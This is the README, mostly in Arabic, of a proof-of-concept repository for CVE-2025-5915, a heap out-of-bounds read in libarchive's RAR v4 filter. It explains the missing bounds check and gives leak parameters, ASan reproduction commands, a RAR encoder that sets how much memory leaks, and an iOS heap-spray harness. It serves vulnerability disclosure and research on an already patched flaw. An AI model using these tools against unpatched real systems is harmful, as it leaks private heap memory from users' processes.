
إثبات مفهوم لاستغلال ثغرة قراءة خارج حدود الكومة في مُرشِّح RAR v4 في libarchive (CVE-2025-5915) مع إعادة إنتاج باستخدام ASan، ومُرمِّز، وعرض توضيحي على جهاز iOS 18.5.
قراءة خارج الحدود مُتحكَّم بها من الكومة / كشف للذاكرة في مسار مُرشِّح RAR v4 في libarchive
(copy_from_lzss_window). يعيد هذا المستودع إنتاجها من البداية إلى النهاية: ASan محلي، ومُرمِّز
RAR v4 مكتوب من الصفر يضبط حجم التسرّب، وعرض توضيحي على الجهاز في iOS 18.5
باستخدام libarchive.2.dylib النظامية الخاصة بالهاتف.
parse_filter() قيمة blocklength لمُرشِّح (بايت كود RAR-VM، يصل إلى 32 بت)
وتنفّذ copy_from_lzss_window() نسخ memcpy لذلك العدد من البايتات خارج نافذة LZSS دون
التحقق من أنها تناسب dictionary_size. حجم النافذة هو rar_fls(unp_size) << 1 — ويمكن
للمهاجم التحكم في الاثنين معًا. أعلِن unp_size=16 → نافذة من 32 بايتًا، واطلب blocklength=0x3C000 → قراءة
نحو 240 كيلوبايت من الكومة المجاورة إلى المخرجات المفكوك ضغطها.a612bf62 (libarchive 3.8.0) السطر if (blocklength > rar->dictionary_size) return 0;
(إلى جانب إصلاح التفاف في copy_from_lzss_window).3.7.4 — أي أن سلسلة الإصدار لا تميّز بينهما (انظر المقال الفني §7–8).انظر المقال الفني الكامل: writeup/cve-2025-5915.en.md
(بالإيطالية: writeup/cve-2025-5915.it.md).
قيمة blocklength نفسها غير المُتحقَّق منها هي طول عملية memcpy واحدة ذات نهايتين:
على iOS 18.5، يكون الحدّ الأقصى لجهة الكتابة (26256) مُرتجَعًا بالفعل، لكن حارس جهة القراءة (5915)
ليس كذلك — لذا فهي قراءة فقط على iOS (analysis/two_cve_unification.md).
writeup/ full technical article (EN + IT)
poc/
build_bigleak.py shrink unp_size in a real archive + repair header CRC-16
build_encoder.py from-scratch RAR v4 encoder; dials blocklength (leak size)
plant.c macOS realloc interpose to plant a secret after the window
*.rar proof-of-concept archives (see poc/README.md)
RARLeak/ on-device iOS harness (Xcode project)
analysis/ ASan logs, iOS patch-diff (disassembly), notes, isolated guard patch
device-proof/ output of the on-device run (iPhone, iOS 18.5)
git clone https://github.com/libarchive/libarchive && cd libarchive && git checkout v3.7.4
CC=clang CFLAGS="-fsanitize=address -g -O1" LDFLAGS="-fsanitize=address" \
cmake -B build-asan -DENABLE_TEST=OFF . && cmake --build build-asan --target bsdtar
ASAN_OPTIONS=detect_leaks=0 build-asan/bin/bsdtar -xOf poc/enc_0x40000.rar >/dev/null
# -> AddressSanitizer: heap-buffer-overflow READ of size 262112
اصنع ملفك الخاص: python3 poc/build_encoder.py out.rar <unp_size> <blocklength> [e8e9].
poc/RARLeak هو تطبيق iOS يرشّ الكومة الخاصة به (heap spray)، ويستدعي مكتبة libarchive النظامية عبر dlopen،
ويُغذّيها بملف RAR مُجهَّز، ويحسب مقدار الكومة الخاصة به الذي يعود في المخرجات. عيّن فريق التوقيع
الخاص بك ثم ابنِ:
cd poc/RARLeak && ./build.sh <device-udid> # set DEVELOPMENT_TEAM first (see build.sh)
المتوقَّع: ملف مُعلَن بحجم 16 بايت يُنتج نحو 196 كيلوبايت من المخرجات، نحو 150 كيلوبايت منها هي
علامة LK5915!! المزروعة التي قُرئت خارج الحدود. تُكتب النتيجة إلى مجلد Documents/ الخاص بالتطبيق.
ملف libarchive.2.dylib الخاص بآبل (18.5 / 18.6) غير مُضمَّن (ملكية خاصة). فقط قيم
SHA-1 الخاصة به (analysis/SHA1SUMS.ios-dylibs) والمقتطفات ذات الصلة من التفكيك مُضمَّنة.
استخرج ملفك الخاص عبر ipsw dyld extract <dyld_shared_cache> libarchive.2.dylib.
ثغرة من نوع N-day، أُصلحت في libarchive 3.8.0 / iOS 18.6. جرى اختبار كل شيء على أجهزة المؤلف الخاصة. أبلغ عن الخلل JJLeo (مشكلة libarchive رقم #2565)، والبحث من إعداد Yifan Zhang (PLL، جامعة بكين)، والإصلاح من Tobias Stoeckmann وTim Kientzle. إصلاح CVE-2024-26256 من Tobias Stoeckmann. للاستخدام البحثي والدفاعي فقط.
| الطرف | الحدّ المفقود | CVE | الإصلاح |
|---|
| المصدر (نافذة LZSS) | blocklength ≤ dictionary_size | CVE-2025-5915 (قراءة) | a612bf62, v3.8.0 |
الوجهة (vm->memory, 0x40000) | blocklength ≤ VM_MEMORY_SIZE | CVE-2024-26256 (كتابة) | b7b0c7c4, v3.7.5 |